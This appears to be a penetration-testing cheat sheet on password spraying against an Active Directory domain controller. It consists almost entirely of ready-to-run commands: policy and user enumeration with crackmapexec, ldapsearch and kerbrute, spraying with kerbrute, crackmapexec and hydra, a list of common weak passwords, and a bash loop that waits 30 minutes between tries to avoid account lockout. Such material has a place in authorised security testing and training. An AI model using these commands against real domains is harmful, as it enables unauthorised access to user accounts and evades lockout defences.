Password Spraying

crackmapexec smb DC_IP -u user -p password --pass-pol

net accounts /domain
Get-ADDefaultDomainPasswordPolicy

# Enum via RPC
crackmapexec smb DC_IP -u user -p password --users

# Enum via LDAP
ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=local" -D "[email protected]" -w 'pass' "(objectClass=user)" sAMAccountName | grep sAMAccountName

# Kerbrute user enum (no creds needed)
kerbrute userenum -d domain.local --dc DC_IP users.txt

kerbrute passwordspray -d domain.local --dc DC_IP users.txt 'Password123!'

crackmapexec smb DC_IP -u users.txt -p 'Password123!' --continue-on-success

crackmapexec ldap DC_IP -u users.txt -p 'Password123!'

crackmapexec smb DC_IP -u users.txt -p passwords.txt --no-bruteforce --continue-on-success

hydra -L users.txt -p 'Password123!' smb://DC_IP
hydra -L users.txt -p 'Password123!' ldap3://DC_IP

Password1
Password123
Password123!
Welcome1
Welcome123
Company2024
Season+Year (Summer2024, Winter2024)
MonthYear (January2024)

for pass in 'Spring2024!' 'Password123!' 'Welcome1'; do
    echo "[*] Trying: $pass"
    crackmapexec smb DC_IP -u users.txt -p "$pass" --continue-on-success
    echo "[*] Sleeping 30 minutes..."
    sleep 1800
done